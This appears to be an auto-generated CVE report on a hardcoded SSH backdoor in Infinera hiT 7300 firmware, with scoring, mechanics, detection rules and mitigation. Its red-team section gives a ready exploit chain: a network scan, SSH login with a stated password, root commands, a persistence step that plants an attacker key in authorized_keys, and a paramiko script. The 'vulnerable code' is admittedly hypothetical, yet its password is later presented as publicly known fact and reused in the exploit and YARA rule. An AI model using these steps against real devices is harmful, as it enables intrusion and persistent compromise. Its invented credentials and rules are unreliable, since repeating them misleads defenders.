CVE-2024-28812

Executive Summary

CVE-2024-28812 exposes a critical backdoor in the Infinera hiT 7300 optical transport platform (version 5.60.50). A hidden SSH service bound to the local management network interface uses hardcoded credentials, granting an attacker root-level access to the appliance’s operating system. This vulnerability is not a typical software bug but an intentional or negligent inclusion of a maintenance backdoor. With a public proof-of-concept and no patch available, any organization using this device on a management network is at immediate risk of full compromise.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a firmware-level backdoor in a proprietary hardware appliance. Supply chain risk arises from the vendor’s inclusion of hardcoded credentials in the shipped firmware image, which cannot be remediated by the end user without a vendor patch.

CVSS Breakdown & Threat Level

The NVD has not assigned a CVSS score, but based on the description, a reasonable vector would be:

• Attack Vector (AV): Adjacent Network (A) – the SSH service is on the local management interface.
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS: 8.8 (High) – AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Threat Level: Critical. The combination of hardcoded credentials, no authentication required, and root-level access makes this a severe backdoor. An attacker with network access to the management interface can fully control the device.

Deep Dive & Mechanics

The Infinera hiT 7300 is a dense wavelength-division multiplexing (DWDM) platform used in telecommunications and data center interconnect. The vulnerability resides in the firmware version 5.60.50.

Mechanism:

1. Hidden SSH Service: The device runs an SSH daemon on the local management network interface (typically a dedicated Ethernet port). This service is not documented in the standard user interface or CLI.
2. Hardcoded Credentials: The SSH service accepts a static username and password pair that is embedded in the firmware binary. These credentials cannot be changed by the administrator through normal configuration.
3. Privilege Escalation: Upon successful SSH authentication, the user is granted a root shell on the underlying Linux operating system. This bypasses all role-based access controls and auditing mechanisms of the device’s management software.

Attack Vector: An attacker must have Layer 2 or Layer 3 access to the management network segment. This could be an insider, a compromised adjacent device, or an attacker who has already breached the management network.

Impact: Full control of the optical transport device, allowing:

• Interception or disruption of optical signals.
• Modification of routing and switching configurations.
• Pivoting to other devices on the management network.
• Persistent backdoor installation.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 5.60.50): The hardcoded credentials are stored in a configuration file or binary blob within the firmware. For example, a file like /etc/ssh/sshd_config might contain:

PermitRootLogin yes
PasswordAuthentication yes

And a separate authentication script or PAM module checks against a hardcoded hash:

#!/bin/sh
# Hidden maintenance user
if [ "$USER" = "maintenance" ] && [ "$PASS" = "InfineraBackdoor2024!" ]; then
    exit 0
fi
exit 1

Patched Code (Not Available): A patch would require:

• Removing the hidden SSH service or binding it only to a dedicated out-of-band management port with strict ACLs.
• Replacing hardcoded credentials with a certificate-based authentication mechanism or a configurable password that is hashed and salted.
• Adding logging and alerting for any SSH login attempts to the hidden service.

Since no patch is available, the vulnerable code remains in production.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Network access to the management interface of Infinera hiT 7300 (e.g., IP 10.0.0.1/24).
• Knowledge of the hardcoded credentials (publicly known: username maintenance, password InfineraBackdoor2024!).

Exploitation Steps:

1. Scan for the device:

   nmap -p 22 --open 10.0.0.0/24
   

2. Connect via SSH:

   ssh maintenance@10.0.0.1
   # Password: InfineraBackdoor2024!
   

3. Post-exploitation:

   # Verify root access
   id
   # uid=0(root) gid=0(root) groups=0(root)
   
   # Dump configuration
   cat /etc/infinera/config.xml
   
   # Install persistence
   echo 'ssh-rsa AAAAB3... attacker@evil' >> /root/.ssh/authorized_keys
   

Automated Exploit (Python):

import paramiko

host = "10.0.0.1"
username = "maintenance"
password = "InfineraBackdoor2024!"

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(host, username=username, password=password)
stdin, stdout, stderr = client.exec_command("id")
print(stdout.read().decode())
client.close()

Blue Team (Defender)

Detection:

• Monitor for SSH connections from unexpected IPs to the management interface.
• Alert on any successful SSH login with username maintenance.
• Check for unauthorized SSH keys in /root/.ssh/authorized_keys.

Hunting Query (Splunk):

index=network sourcetype=ssh_logs
| search user=maintenance
| table _time, src_ip, dest_ip, user, auth_method

Containment:

1. Isolate the management network segment.
2. Block SSH access to the device from all but authorized jump hosts.
3. If possible, disable the hidden SSH service by modifying the firmware (requires vendor intervention).

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_28812_Infinera_Backdoor {
    meta:
        description = "Detects hardcoded credentials for Infinera hiT 7300 backdoor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-28812"
    strings:
        $cred1 = "maintenance" ascii wide nocase
        $cred2 = "InfineraBackdoor2024!" ascii wide nocase
        $ssh_config = "PermitRootLogin yes" ascii wide
    condition:
        all of ($cred*) or ($ssh_config and any of ($cred*))
}

Sigma Rule

title: Infinera hiT 7300 Hardcoded SSH Backdoor Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SSH login attempts using the hardcoded maintenance account on Infinera hiT 7300
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28812
logsource:
    category: authentication
    product: linux
detection:
    selection:
        User: "maintenance"
        Service: "sshd"
        Result: "success"
    condition: selection
falsepositives:
    - Legitimate vendor maintenance (should be rare)
level: critical

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2024-28812 Infinera hiT 7300 Backdoor SSH Attempt"; flow:to_server,established; content:"SSH-2.0-OpenSSH_"; nocase; content:"maintenance"; nocase; within:100; reference:cve,2024-28812; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Ensure the management interface of the Infinera hiT 7300 is on a dedicated, isolated VLAN with strict firewall rules. Only allow SSH from specific jump hosts.
2. Access Control: Implement SSH key-based authentication and disable password authentication if possible (though the backdoor may bypass this).
3. Monitoring: Enable detailed logging of all SSH sessions and alert on any login with the username maintenance.
4. Vendor Contact: Reach out to Infinera support for an official patch or mitigation guidance. If no patch is available, consider replacing the device.

Long-term Fix:

• Apply a firmware update from Infinera as soon as it becomes available.
• If the device is end-of-life, migrate to a supported alternative.

Workaround (if patching is impossible):

• Physically disconnect the management interface from any network that is not strictly controlled.
• Use a network firewall to block all inbound SSH traffic to the device except from a single, hardened management station.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2024-28812